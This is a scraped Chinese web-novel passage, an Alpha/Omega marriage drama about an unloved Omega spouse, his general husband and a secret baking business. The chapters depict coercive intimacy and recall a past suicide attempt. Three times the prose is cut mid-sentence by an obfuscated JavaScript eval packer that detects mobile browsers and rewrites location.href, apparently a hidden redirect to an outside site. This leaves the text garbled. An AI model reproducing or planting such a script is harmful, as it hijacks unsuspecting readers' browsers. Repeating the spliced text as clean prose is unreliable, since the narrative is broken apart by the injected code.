谁知他刚推开主卧的门,迎面就撞见刚才那位Alpha正站在不远处的开放式厨房里,手里拿着玻璃杯喝水。 对方显然也没料到他会突然出来,目光下意识地落在他身上。 那件属于路霆的衬衫根本遮不住什么,下摆只勉强盖住腿根,两条光裸的腿笔直地暴露在空气里,连脚趾都因为尴尬而微微蜷缩起来。 Alpha的动作顿了一下,随即极其迅速地移开视线,面无表情地转过身去,只留下一个背影。 就在这时,路霆也从主卧里跟了出来,恰好将这一幕尽收眼底。他脸色瞬间阴沉得可怕,几乎是咬着牙,从齿缝里挤出两个字:“钟映……” 钟映:“…………” * 钟映几乎是逃也似地钻回了自己的房间,反手锁上门,背靠着门板急促地喘了口气。 他迅速脱下身那件惹祸的衬衫,仔仔细细地手洗了一遍,又用烘干机小心地烘暖熨平。 所幸那位Alpha同事并没有要多留的意思,很快便告辞离开,这让钟映暗自松了一口气。 他将那件恢复如初的衬衫叠得整整齐齐,放回路霆的衣帽间原处。 可路霆的脸色依旧阴沉得可怕。 第二天,路霆意外地没有出门,而是留在了家里。 钟映没有去问他的行程,只是沉默地做好自己的事。 午后的阳光透过玻璃窗照进来,路霆坐在沙发上看着军事报纸。钟映拿出那瓶路霆曾送给他的“营养品”,拧开瓶盖,当着他的面倒出两粒白色的药片。 路霆的视线甚至没有从报纸上移开分毫,仿佛这一切与他无关。 钟映面无表情地将药片送入口中,仰头和水吞下。 那药明明没有任何味道,可他却觉得舌尖蔓延开一股难以言喻的苦涩,一路涩到喉咙深处。 他轻轻摇了摇已经见底的药瓶,转过头,用一种近乎天真的语气轻声说:“老公,这盒快吃完了。” 路霆的目光终于从报纸上抬起,在那药瓶上停顿了片刻,语气平淡无波:“改天我让人送新的来。” “……好。”钟映低声应道。 钟映转过身,假装专注地看着电视屏幕,牙齿却无意识地死死咬住了自己的下唇。 直到一股铁锈般的腥甜在口中弥漫开来,他才猛地回过神。 镜面电视屏幕的反光里,映出他下唇已被咬破,鲜红的血珠渗出来,染红了苍白的唇瓣。 而他眼中,只剩一片沉寂的死灰。 晚上吃饭时,路霆的目光在他唇上多停留了几秒,眉头微蹙:“你嘴怎么了?” 钟映垂下眼,用勺子轻轻搅动着碗里的汤,声音平静:“刚才吃东西……不小心咬到了。” 周末,钟浦涛让他回了一趟钟家。 车刚驶入铁门,远远地就看见钟浦涛养的那条纯黑色猎犬“屠阳”正趴在草坪上晒太阳。 它察觉到动静,立刻抬起头,一双琥珀色的眼睛锐利地盯过来,鲜红的舌头耷拉着,呼出阵阵白气。 一些不太好的记忆瞬间翻涌上来,钟映脸色倏地白了。 钟浦涛保养得极好,年过半百依旧身形挺拔,穿着考究的羊绒衫,坐在花园的白色藤椅上喝茶。他瞥了一眼钟映明显僵硬的姿态,慢条斯理地放下茶杯:“怎么?还这么怕屠阳?拴着链子呢,跑不过来。” 钟映没接话,只是沉默地走到他对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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最后,他又会默默地把那些东西一件件整理好,退回店里。 现在,他更不可能去向路霆开口要钱。 这些年,他一直活在钟家的监视之下。他们以“体面”为由,禁止他外出工作,美其名曰维护路将军夫人的身份,实则只是为了更方便地控制他的一举一动。 而路家那边,则用另一种方式束缚他,期望他安分守己,做一个温顺沉默、只会相夫教子的Omega。 钟浦涛显然没什么耐心,再度开口:“你之前总跟我说,需要一点时间。可这都快四年了,你还要拖到什么时候?” 他语气渐冷:“你要是自己不行,就往你丈夫身边送个有用的人。早知道路霆能有今日的权势……当初就不该让你去。” 钟映扯了扯嘴角,一股自暴自弃的无力感涌上来:“我努力过了。可他就是不喜欢我,怎么样都不行。” 钟浦涛像是早就料到他会这么说,从旁边拿起一份薄薄的资料,推到他面前。 “我这儿有个人选,是三房那边的女儿,是个Omega,刚满十八。” “你找个时间见见。再怎么着,只要有个孩子生下来,身上总归流着一半钟家的血。” 钟映喉咙发紧。 他不能说自己身体毁了。一旦说了,钟浦涛会立刻把他当作一颗废棋扔掉,连带着寄玉也会失去最后的依靠。 他只能低声反驳:“路霆不会给我机会在他身边塞人的。他防我防得很紧。” 钟浦涛抬起眼,目光里没有任何温度:“你不试试,怎么知道一定不行?” 4. 路霆……你、你易感期到了吗? 换医院的事并非一蹴而就。 钟映和一直负责寄玉的主治医生反复商量了很久,仔细评估着每一个潜在的风险。 医生翻看着最新的检查报告,眉头微蹙,语气谨慎:“寄玉小姐近期的生命体征有些波动,不算特别平稳。我的建议是,再观察一段时间,等情况更稳定一些再考虑转院。现在移动,风险比较高。” 钟映立刻点头:“好,那就再等等。” 没有什么比寄玉的安全更重要,他不敢拿她的身体冒任何风险。 谈完具体事宜,他心事重重地走出疗养部大楼。 刚走到门口,身后却传来一个声音叫住了他:“大嫂。” 钟映脚步一顿,回过头。路羿穿着白大褂,正从后面走过来,目光落在他身上:“又来看朋友?” 钟映硬着头皮应了一声:“……是。” 路羿走到他面前,语气很平常地问:“吃过饭了吗?” 钟映刚想下意识地说“吃过了”,路羿却已经接着说了下去,声音平稳却不容回避:“想跟你聊聊你那位朋友。大嫂,你还有……年纪那么小的朋友?” 钟映心里猛地一沉。 果然,路家的人,没有一个不多疑,没有一个不敏锐。 他沉默地跟着路羿来到了医院食堂。 路羿给他打了一份简单的员工餐,放在他面前,然后在他对面坐下。食堂嘈杂的人声仿佛被隔绝开来。 路羿没有动筷,只是看着他,问得直接:“我哥知道吗?那个你一直养着的小女孩。” 钟映抬起头,眼睛里带着清晰的恳求,声音也低了下去:“你哥他不知道……路羿,寄玉她很可怜的,她只有我了。求求你,别告诉别人,行吗?尤其是路家的人……” “你知道的,要是被路霆和他妈妈知道,她一定不会让我再照顾寄玉了。求求你……” 路羿看着他那副几乎要哭出来的样子,想起同事说过的话,说钟映这辈子可能很难再有孩子了。 或许,那只是一种情感上的转移和寄托。 他沉默了片刻,终于开口,声音比刚才缓和了些:“我不会告诉别人。” 钟映紧绷的肩膀瞬间松弛下来。 路羿看着他那副如释重负的样子,顿了顿,又补充了一句,语气里甚至带上了一点罕见的、生硬的安慰:“其实……好好调养身体,以后也许还会有孩子的。” 钟映嘴角扯起一个极淡却苦涩无比的弧度,声音轻得几乎听不见:“……你都知道了?” 路羿沉默片刻,只低低应了一声:“嗯。” “从我嫁给你哥那天起,”钟映声音飘忽,“我就知道,他大概一辈子都不会喜欢我。以前……以前我还总存着点可笑的幻想,觉得只要我做得足够好,足够努力,也许……也许能换来他一点点真心。” 钟映顿了顿,像是咽下某种极其酸涩的东西。 “现在是真的……什么都没有了,连那点幻想,也没了。” 路羿沉默地看着他。 他与这位嫂子交集实在不多,印象最深的大概就是婚礼那天。 眼前的钟映穿着剪裁精致的白色礼服,眼睛亮得出奇,带着几分怯生生的好奇四处张望,灵动得像是不慎落入凡间的精灵,整个人都透着一种不谙世事的鲜活。 而如今,那双曾经清澈的眼睛里,只剩下沉沉的疲惫和一片望不到底的死寂,连最后一点光也熄灭了。 路羿忽然有些恍惚地意识到:原来一个人满腔炽热的爱意,真的可以被日复一日的冷漠、忽视和伤害,消耗得一干二净。 直到什么都不剩下。 周一去上课时,钟映刚走进休息室,就听见孟檀清正被几个珠光宝气的Omega围着,兴致勃勃地谈论她最近在投的一个新项目,是关于开发偏远的E区基础设施的。 她问旁边的人有没有兴趣跟投,那几个太太却只当她是在说笑,纷纷掩口表示E区那种地方鱼龙混杂,经济水平落后几十年,根本看不到回报,风险太大了。 钟映站在一旁安静地听着,没插话。 等到课间休息,人群散开些许,他才找到机会,走到正在窗边喝咖啡的孟檀清身旁,声音不高却清晰地问:“孟小姐,你那个E区的项目……我能投吗?” 孟檀清诧异地转过头,上下打量了他一遍,像是没听清:“你要投?为什么?” 钟映抿了抿嘴唇:“我想挣钱。最好……能挣很多很多钱。” 孟檀清放下咖啡杯,抱起手臂,目光里带着审视和些许不解:“这钱可不是那么容易快进快出的,周期长,风险也摆在那儿。” 她顿了顿,语气里多了点试探:“你家那位……不仅动手,难道连钱都不给你花?” 钟映立刻摇头:“没有家暴。只是……没有感情了。” 他停顿了一下,像是难以启齿,最终只是含糊道:“我们都这样了,我怎么还好意思花他的钱。” 反正钟映跟路霆的恩爱夫夫是装不下去了,索性破罐子破摔了。 他抬起眼,看向孟檀清,语气几乎是恳求的,甚至带着点笨拙的急切:“你有什么别的、能挣钱的门路吗?我不怕吃苦,什么都能做。” 孟檀清看着他,目光里带着几分审视和若有所思。过了一会儿,她才嗤笑一声,语气说不上是调侃还是别的:“你一个钟家养出来的少爷,能吃什么苦?屁都不懂。” “不过我记得你之前带来的自制小蛋糕,味道倒是还行。跟我来。” 她没多废话,直接带着钟映去了另一间私密性更好的茶室。坐下后,她开门见山:“那些有钱有闲的太太们,隔三差五就开派对,下午茶、生日宴、名目多得是。她们现在订的甜点蛋糕,都是从那几个死贵死贵的知名品牌买的,价格虚高,味道嘛……” 她撇撇嘴:“我看还没你做得好。” “这样,以后有这类活儿,我介绍给你,原料我出,你负责做。收益你七我三,或者你八我二都行。” 钟映愣愣地看着她,心里明白孟檀清根本不缺这点小钱,她这么说,无非是看出了他的窘迫,又小心翼翼地维护着他那点所剩无几的自尊。 一股酸涩的暖流猝不及防地涌上心头。 钟映眼睛微微亮了起来,声音里带着感激和郑重:“就我七你三。谢谢你,孟小姐,我一定会认真做的。” 他语气格外真诚:“你真是人又美心又善,难怪那么多人喜欢你。” 孟檀清似乎被他这直白的夸赞弄得有点不自在,别开视线:“你也别太实在了,做给她们吃,用料不必太扎实,懂吗?意思到了就行,尝个味道罢了,谁还真指望靠这个吃饱?” 她话锋一转,忽然又绕回了最初的话题,带着点百思不得其解的纳闷:“话说回来……你家那位,该不会是阳//痿吧?连你这样的都看不上?” 钟映脸颊一热,连忙摇头:“……他没有。只是……我不是他喜欢的类型而已。” “那他喜欢什么样的?” 钟映微微出神,脑海里闪过几个模糊的轮廓,都是他曾偶然见过的、出现在路霆身边的Omega。每一个都举止得体,谈吐从容,带着一种他永远学不来的聪明和沉稳,由内而外散发着不容忽视的魅力。 “大概是……聪明,沉稳的,很有魅力的那种吧。”钟映声音很轻,像在自言自语,最后几不可闻地补了一句,“反正……不是我这样的。” 果然如孟檀清所说,那个圈子的富太太们聚会频繁得惊人。 钟映按照订单,仔细地烤胚、抹面、裱花,偶尔还会做一些精巧的纸杯蛋糕或马卡龙当赠品。 完成后,通常会有司机准时上门来取。 半个月下来,账户里的进账竟比他预想的要丰厚不少。 他和孟檀清也在这来往中越发熟悉。 孟檀清这天跟他咖啡,提起她来上这个班,也是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345614|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆婆的意思。 她和丈夫当年白手起家,一路吃了无数苦才拼杀到今天,结果如今婆婆反而嫌弃她只是个“上不了台面的野丫头”,一心想让儿子另娶个门当户对的名媛。 钟映安静地听着,心里泛起一点同病相怜的涩意。他低声安慰道:“我婆婆……以前也这样嫌弃过我。她说我不会讨丈夫欢心,才硬给我报了这个班。” 钟映语气真诚:“不过你跟我不一样的。你丈夫那么爱你,你们……还有个那么可爱的小孩。” 钟映见过孟檀清的小孩,是个女孩,特别漂亮可爱。 孟檀清看着他,目光里掠过一丝复杂的情绪,最终只是很轻地笑了笑,声音低柔:“是啊。我至少……还有他们。” 不过,语气飘忽,好像也没多少底气。 “路霆那种人……没跟你提过离婚吗?”孟檀清搅动着杯中的咖啡,状似随意地问。 钟映:“提过啊,不止一次,我……寻死觅活过。其实不怪他的,是我……不能离婚。” 孟檀清像是听到了什么稀奇事,挑眉打量他:“你?还会寻死觅活?” 钟映点了点头:“路霆不喜欢我,是有原因的。” 他声音很平静,却带着一种近乎自虐的坦诚:“反正我这辈子最难看、最讨人厌的样子,他都见过。我真的……不是什么好人。” 孟檀清看着他,眼神像是在研究什么奇特生物:“哪有人自己说自己不是好人的。” 钟映继续手上的活,甚至没有察觉到路霆已经整整一周没有回家。 即便不出差,那个男人也更愿意待在军部,那里仿佛才是他真正的归宿。 那就让他呆在那吧。 钟映现在都没空应付他。 以前,钟映总是忍不住给路霆发消息,絮絮叨叨地问他回不回来吃晚餐,提醒他天冷了加件衣服。路霆从未回复过。 后来,那些琐碎的关心渐渐没了,只剩下干巴巴的一句“今晚回来吗?”。 而最近这半个月,忙得连这一句也彻底断了。 黑色的轿车平稳地驶出军部车库。 秘书看了眼后视镜里闭目养神的路霆,低声询问:“将军,您晚上什么都没吃,要不要先去吃点东西?” 路霆捏了捏鼻梁,脸上带着一丝疲惫:“不用。回去吃。” 他说完,从外套内袋里拿出另一部私人手机。这部手机他很少打开,里面几乎只有一个联系人的消息。 他点开屏幕,未读信息的最新一条还停留在半个月前。消费记录也很久没有更新。 他皱了皱眉,忽然开口问前排的秘书:“钟映最近在干什么?” 秘书猝不及防听到这个名字,愣了一秒才赶紧回答:“钟先生在您出差期间没有来过军部找您。可能……他不太清楚您出差了。” “他没找你要过行程?”路霆的声音听不出情绪。 “没有。”秘书谨慎地回答,并说钟映已经很久没联系过他,这次甚至是他主动发信询问,而那边隔了很久才回复了一句“以后都不需要了,以前麻烦您了”。 当时他还愣了很久。 路霆沉默了片刻,指尖在冰冷的屏幕上敲了敲,才没什么语气地评价了一句:“哦。这倒是从来没有出现过。” 而此时,公寓里的钟映正坐在客厅书桌前,低着头,专心致志地核对这半个月的收支账目。 数字比他预想的还要好。 孟檀清人缘好,资源广,所以工作室根本不缺客源。 突然,一双手从身后毫无预兆地伸过来,紧紧箍住了他的肩膀。紧接着,颈侧的衣领被撩开,滚烫的呼吸猝然逼近,一个带着惩罚意味的吻,重重落在钟映的腺体上,甚至用牙齿不轻不重地咬了一下。 钟映整个人猛地一颤,手里的笔啪嗒一声掉在账本上。他闻到了那股熟悉又极具压迫感的Alpha信息素,问道:“路霆……你、你易感期到了吗?” 5. 这场游戏,我陪你玩到底 路霆在正常状态下,极少会对他做出如此带有温存意味的亲昵动作。 这突如其来的靠近让钟映有些无措,下意识地以为对方又到了易感期。 路霆的声音听起来却异常清醒平稳,甚至带着点惯常的冷感:“有点。” 有点是什么意思? 钟映心下疑惑,却也不好再问。他松开原本下意识抵在对方胸前的手,转而撑在身后的桌子上,试图拉开一点距离,语气有些局促地反问:“那就是易感期的意思吧?” 路霆偏头看他:“你在做什么?” Omega他伸手拿过旁边放着的笔记本,合上,借此掩饰自己的不自在:“没什么……我先去睡觉了。你也早点休息。” 他刚想起身,路霆却握住了他的手腕。 “等等。”路霆的视线扫过略显空荡的客厅,眉头几不可察地蹙了一下,“晚上吃的什么?” 钟映一个人在家时,饮食向来简单敷衍,常常一碗面或者一份外卖就打发了。 钟映以为路霆饿了,迟疑了一下,老实回答:“家里没什么吃的了……你要吃面条吗?不然现在这个点,外面应该还有店没关门,出去吃也来得及。” 路霆没有回答,目光依旧落在他脸上,重复了一遍问题:“我问你晚上吃的什么。” 钟映顿时语塞。他晚上其实是和路羿在医院食堂吃的,最近他去探望妹妹,总能在医院“偶遇”这位小叔子。 但这显然不能对路霆说。 他眼神飘忽了一下,低声含糊道:“就……随便在外面吃了点。” 路霆说:“我饿了。” 钟映进了厨房,给路霆下了一碗简单的鸡蛋面。 清汤卧蛋,几点油星,几缕葱花,热气腾腾地端到对方面前。钟映自己则靠在对面的沙发上,等着路霆吃完。 或许是夜晚太静,或许是连日来的疲惫终于涌上,等着等着,他竟不知不觉歪在沙发扶手上睡着了。 再醒来时,身上多了一条柔软的薄毯。他揉着眼睛坐起身,恰好看见路霆从玄关处走回来,手里空着。钟映猜,他大概是刚才出去扔垃圾了。 路霆对世间万物的态度,似乎总是这样淡淡的,带着一种居高临下的疏离,仿佛没有什么能真正入他的眼,更别提走进他的心。 这其中,自然也包括钟映。 钟映以前还会绞尽脑汁,试图寻找各种共同话题,笨拙地想要靠近。而今,却只恨不能躲得越远越好。 但今天的路霆似乎有些反常。 当钟映握住自己卧室的门把手时,能清晰地感受到身后那道如有实质的视线一直跟着他。他犹豫了一下,还是转过身,直接问道:“那……你是要做吗?” 路霆易//感期回家,通常只有这一个目的。 路霆没有回答,只是推开了房门,而后那样站在门口,一只手随意地揣在裤兜里,目光沉沉地盯着他。 钟映心想,果然猜对了。他不再多问,自觉地走了进去。 一进门,他就开始沉默地脱衣服,上衣,裤子,一一叠好放在旁边的椅子上,与其等会儿被撕坏,还不如自己来。 然后钟映迅速钻进了被子,只露出一双眼睛,手指紧紧捏着被沿,声音闷闷地传出来,带着一丝请求:“拜托……今天轻一点。我明天还要见人。” 路霆十分厌恶钟映算计他的模样,可是真的很难否认他的小妻子除开那个时候倒也没那么讨厌。 钟映只觉得眼前光线一暗,路霆猛地掀开被子,带着不容抗拒的力道将他整个人压进床垫里,随即扣住了他的手腕,按在枕侧。Alpha的目光又冷又沉,像是要将他从里到外彻底剖开审视。 “我猜,”路霆的声音低哑,带着毫不掩饰的怀疑,“你是不是又在避//孕套上动了什么手脚?还是……你下面塞了什么东西?” 说罢,他修长的手指便不由分说,意图明确地检查起来。 Omega的身体敏感地剧烈一抖,钟映的脸和脖颈瞬间红透,像是烧起来一样。他急促地喘了两下,慌忙摇头,声音带着颤:“没有!真的没有……我、我不生小孩了。” 这一刻,钟映忽然理解了路霆坚持让他吃那四年避孕药的原因,日夜提防着枕边人可能的手段,确实不如这样“永除后患”来得干脆利落。 钟映望着身上的人,保证道:“我以后再也不做让你不开心的事了。你不让我出现的地方,我绝对不去……你如果有自己喜欢的人,我一定不会干扰,我甚至可以帮你瞒着……只要你别跟我离婚,好不好?” “只要两年……就两年就好。” 两年时间,钟映攒够了钱就带寄玉离开。 路霆没有说话,只是用一种极其复杂的、深不见底的目光看着他,仿佛在评估他这番话里有多少真心,又藏着多少算计。 钟映见他沉默,连忙改口,把期限缩得更短:“一年!一年也可以的!到时候我会亲自去劝妈她们,我会放你自由的,真的。” 然而,路霆只是微微眯起眼,半晌:“你又在耍什么把戏?” 路霆现在,是彻底不再相信他说的任何一个字了。 钟映后颈传来一阵尖锐的刺痛,路霆低头咬住了他的腺体,刹那间,浓郁而充满压迫感的Alpha信息素强势地注入,几乎让他窒息。 “这种话,”路霆的声音贴着他的耳廓响起,“你跟我说过多少次了?我自己都记不清了。” 钟映忍着腺体传来的胀痛和眩晕感,声音带着哭腔的颤抖:“我这次说的是真的……我知道自己错了,路霆,你信我一次,好不好?” 路霆:“好啊。想让我相信你,可以。” 他说罢,猛地将人从床上打横抱了起来,径直走向书房。钟映什么都没穿,光裸的皮肤接触到微凉的空气,激起一阵战栗。 路霆将他放在书房冰硬的皮质沙发上,随即从抽屉里拿出一份文件,接着,一支笔被塞进了他手里。 “现在签了它,”路霆居高临下地看着他,眼神里没有一丝温度,“签了,我就信你。” 钟映看着那份醒目的《离婚协议书》,只觉得眼球都被刺得生疼。 他和路霆之间,仿佛永远都在印证那句话,得寸进尺。 路霆对他一次次手下留情,换来的却是他变本加厉的纠缠和祸害。 他想起当年他割腕被抢救回来后,路霆站在病床前,看着他那副狼狈不堪的样子,也是用这种冷漠的声音说:“好啊。这场游戏,我陪你玩到底。” 那之后的几年,路霆再没给过他半分好脸色,只剩下无尽的冷淡和折磨。 “签啊。” 路霆的声音陡然拔高,带着不容置疑的压迫,将他从回忆中狠狠拽回。 路霆猛地松开了手。那份离婚协议和笔啪嗒一声掉落在地,在寂静的书房里显得格外刺耳。 他转而用力掐住钟映的下巴,迫使对方抬起脸:“我受够了你这些鬼话。” “钟映,你不觉得自己虚伪得令人作呕吗?下一次是不是就要爬上帝国大厦的楼顶来威胁我?是不是只要我敢提离婚,你就立刻跳下去,好让钟路两家都来向我施压?” 他眼底一片冰寒,嘴角却扯出一抹近乎残忍的弧度:“你要是觉得用这种方式绑着我过日子很有意思,行啊,我说过,我可以奉陪到底。” 钟映眼泪无声地滑落,砸在路霆的手背上,洇开一小片湿痕。 路霆说的每一个字都对。 所有不堪的局面,都是他一手造成的,是他咎由自取。 这场从一开始就充斥着算计和强迫的无爱婚姻,最终折磨的,终究是两个人。 第二天,钟映从混乱的睡眠中醒来,只觉得周身像是被拆解重组过一样,无处不泛着酸软和钝痛。 他撑着身体坐起身,身侧的位置早已空荡冰凉,路霆不知何时已经离开了。 他慢吞吞地挪下床,双脚落地时腿软得一个踉跄,险些直接摔倒在地。 他扶着墙壁,慢慢走到穿衣镜前。 镜子里的人眉眼间还残留着一抹未散尽的、属于昨夜的情//欲色彩,眼尾泛着薄红。 锁骨乃至更下的地方,布满了密密麻麻的暧昧印记,昭示着昨晚的激烈与不堪。 说了不要留印子,路霆偏要跟他对着干。 他这张脸,确实是生得极好的。 即使此刻带着疲惫与狼狈,依旧难掩那份出色。 钟映抬起手,指尖轻轻抚过自己的脸颊,然后缓缓闭上了眼睛。 当初,也正是因为这张脸,才有了后来的故事。 * 钟映现在的烘焙老师是业内极具声望的名师,得益于她的赏识和推荐,他获得了一个去专业培训机构学习的机会。 原本钟映是缺乏这份自信的,是孟檀清一再鼓励,问他愿不愿意去试试看。 他心底对孟檀清充满了感激,觉得她简直是自已人生中难得的贵人。 这天,他刚为一个私人做好了蛋糕,但原本约定来取货的人却迟迟未到。 眼看时间一点点过去,他只好联系了孟檀清。 孟檀清在电话里语气有些迟疑,只说那边好像临时出了点状况,抽不开身。 时间紧迫,钟映犹豫了一下,还是问清了地址,决定主动把蛋糕送过去。 他提着蛋糕礼盒,按照地址找到了一个高档住宅小区。 给订货人打了电话后,保安才放行让他进去。他顺利找到对应的楼栋,乘电梯按亮了目标楼层。 站在公寓门前,他按响门铃,门开后,他递上蛋糕,语气礼貌:“您好,这是您订的蛋糕。” 门内的人看着他,愣了几秒,突然惊讶地出声:“……嫂子?” 钟映正准备离开的脚步顿住了,抬头看清叫他的人,是路霆的战友,一张有些眼熟的脸。 “我是裴峰啊,你不记得了?之前有一次你把厨房差点烧了,还是我刚好过去,把你从烟雾里拉出来的。” 钟映点了点头,他当然记得。 那还是他最初学做饭的时候,手忙脚乱差点把半个厨房都点着了,浓烟滚滚。路霆回来时,看着一片狼藉、墙壁熏黑的屋子,脸色黑得吓人。 钟映当时看得分明,路霆是真的很想动手揍他的。 他刚想挤出两句客套话应付过去,却没想到裴峰下一句话把他吓死:“路哥!快来看谁来了!” 钟映几乎是僵硬地被让进了屋里,坐在客厅的沙发上,低着头,手里捧着一杯刚才裴峰的Omega伴侣热情塞给他的热茶。 偌大的客厅里,几乎都是些熟面孔,路霆那个圈子里的朋友和他们的伴侣。 每一道投来的目光都让他如坐针毡,有人笑着跟他打招呼,他也只能勉强扯出一抹尴尬又不失礼貌的微笑回应。 裴峰惊讶地问:“嫂子,你怎么……在送蛋糕?” 钟映解释道:“我和朋友一起弄了个小工作室,接一些订单。今天原本送货的人临时有事走不开,我就自己送过来了。” 裴峰闻言,脸上露出真诚的赞叹:“嫂子,你这手艺进步也太大了!跟以前……真是厉害!” 原来今天是裴峰的生日,他请了一些关系亲近的朋友和战友来家里小聚。 路霆向来极为看重战友情谊,这种场合他自然会到场。 裴峰的男性Omega伴侣,叫小荣,是个气质温润的年轻人。他好奇地凑近些,小声问钟映,眼睛里带着点钦佩和羡慕:“嫂子,听说你当初结婚后,是跟着路将军一起随军的?前线条件那么艰苦,你一定……很爱将军吧?” 钟映握着茶杯的手指微微收紧。 爱? 那个时候,他们刚结婚,一场彻头彻尾的联姻。两个人之间充斥着陌生、隔阂甚至隐隐的敌意,哪里谈得上什么爱或不爱。 他甚至清楚地记得新婚之夜,路霆连碰都没碰他一下,仿佛他只是房间里一件多余且碍眼的摆设。 而钟家将他送出来,目的再明确不过,他就是一个用来维系关系的工具,一个必须尽快诞下继承人的容器。 只有有了孩子,钟家才会继续“仁慈”地供养他那个躺在医院里、需要巨额费用的妹妹寄玉。 这些冰冷的算计和不得已的苦衷,如何能对外人言说。 前线的生活自然是极苦的。物资常年紧缺,气候也恶劣得惊人,但路霆和他们队伍的任务却从未停歇清剿那些无处不在、狰狞可怖的虫兽。 钟映记得自己随军刚到那里不到两个月。 有一次,他们驻扎的片区停了水,他便抱着一盆积攒的衣物,去了距离基地有些远的一条河边清洗。 回来时,天色已近黄昏,他抱着沉重的洗衣盆,沿着碎石小路往回走。 就在距离基地哨岗不远的地方,一只不知如何突破防线、流窜到此的虫兽猛地从侧面废弃的掩体后扑了出来,将他狠狠撞倒在地。 那虫兽足有半米多长,甲壳黝黑发亮,狰狞的口器不断开合,垂落下黏腻腥臭的涎液,正一步步朝倒在地上的钟映逼近。 钟映吓得魂飞魄散,手掌在粗糙的地面上胡乱磨蹭着,火辣辣地疼,他手脚发软地拼命向后挪动。 虫兽扬起了锋利的爪钳,带着破风声,眼看就要割向他的脖颈。 就在这千钧一发之际,一声清脆的枪响骤然划破暮色。 虫兽的头颅应声爆开,黏稠腥绿的浆液劈头盖脸地溅了钟映满身。他惊魂未定地喘息着,看着那道熟悉的高大身影快步冲来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345615|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一脚踢开还在抽搐的虫兽残肢,弯腰将他从腥臭的尸体下方抱了出来。 路霆戴着手套的手掌地抹过他脸颊上沾染的虫兽脑浆和血迹,动作算不上温柔,甚至很大力,手套的布料磨得他皮肤微微发疼,留下了一片红痕。 “没事吧?”路霆上下检查着他有没有受伤。 钟映惊魂未定地眨了眨眼睛,他仰头看着自己的丈夫,夕阳的余晖给路霆冷硬的侧脸镀上了一层模糊的金边。 那一刻,他什么也说不出来,只是下意识地死死攥住了路霆的袖口,仿佛抓住了唯一的浮木。 那个怀抱带着硝烟、尘土和血腥的气味,并不好闻,甚至有些硌人。 可在那极致惊恐的余韵里,钟映却只觉得无比温暖,无比安全,仿佛所有的危险都被隔绝在外。 钟映哪里敢接“爱”这个字眼,只含糊地垂下眼睫:“还、还行吧……其实条件也没想象中那么差,大家……不都是那么过来的。” 裴峰却像是打开了话匣子,带着几分感慨接着道:“不过嫂子你是真的厉害!当时你可是第一个敢跟着随军的家属。那会儿形势多紧张啊,我们每次出去都保不准能不能全须全尾地回来。” 他转头看向路霆,试图把他也拉进话题:“路哥,你还记不记得有一次?你带队出去侦察,结果被一群会放毒气的虫兽给围了!那时候信号全断,指挥部都快急疯了。” 裴峰说得越来越起劲:“嫂子等不到你回来吃饭,直接找到指挥中心去了,那会儿管得没现在严。他一听情况,当场脸色就白了,非要我们立刻出去救人。可当时我们的导航员也吸了毒气倒了,那鬼地方一半都是瘴气,根本看不清路!结果你猜怎么着?” 裴峰一拍大腿:“你猜怎么,嫂子直接跳上车就说他来开!我的天,那么险的盘山路,到处是碎石和悬崖,嫂子开得跟平地飙车似的,稳得不行!” 旁边另一个战友也笑着插嘴:“我记得!当时嫂子还说,他对路哥你的信息素特别敏感,隔着老远都能闻到,让我们把他当搜救犬使就行。结果还真神了!愣是靠着那点感觉把我们从瘴气里带进去了!可惜路哥你们当时都晕过去了,没看见嫂子那威风劲儿!” 他们你一言我一语,说得热火朝天。 钟映坐在那儿,他能说什么? 难道说当初不过是不知者无畏,全凭着一股傻气和害怕失去依靠的孤注一掷? 路霆始终没有接话,只是沉默地听着,脸上的表情看不出什么情绪。 热闹的叙述和他的沉默形成了鲜明的对比,让气氛逐渐变得有些微妙的尴尬。 裴峰似乎也察觉到了,讪讪地笑了笑,试图缓和一下:“不过现在大家都好了,路哥也当上将军了,总算熬出来了。” 钟映是真的想立刻离开这里,又怕突然起身会扫了人家的兴,更怕会让路霆觉得没面子,只能继续僵硬地坐着,努力维持着脸上那点摇摇欲坠的、礼貌的笑意。 到了吃饭的时候,众人极为默契地在路霆身边的位子空了出来,目光若有若无地瞟向钟映。 路霆只好硬着头皮走过去坐下,坐下后又不动声色地往旁边挪了挪,尽可能拉开一点微不足道的距离。 他全程沉默地吃着面前餐盘里的食物,几乎不参与谈话。 饭桌上,话题转向了裴峰和小荣即将举行的婚礼,小荣脸上洋溢着毫不掩饰的幸福,钟映看着,也由衷地为他们感到高兴。 后来分蛋糕时,裴峰特意高声说这是钟映亲手做的。立刻有人笑着调侃:“将军夫人亲手做的蛋糕,味道果然不一样啊!” 钟映下意识地侧过头,飞快地瞥了一眼路霆的脸色,生怕在那张脸上看到一丝一毫的不悦或嘲讽。 幸好,没有。 路霆的表情平淡无波,仿佛根本没听到那句调侃,或许……是根本不在乎。 他从来不像钟映,偶尔还会因为那可悲的虚荣心作祟,试图在外人面前勉强维系住两人关系尚可的假象。 路霆向来是把他们感情破裂的事实,明晃晃地摆在台面上,不屑于任何掩饰。 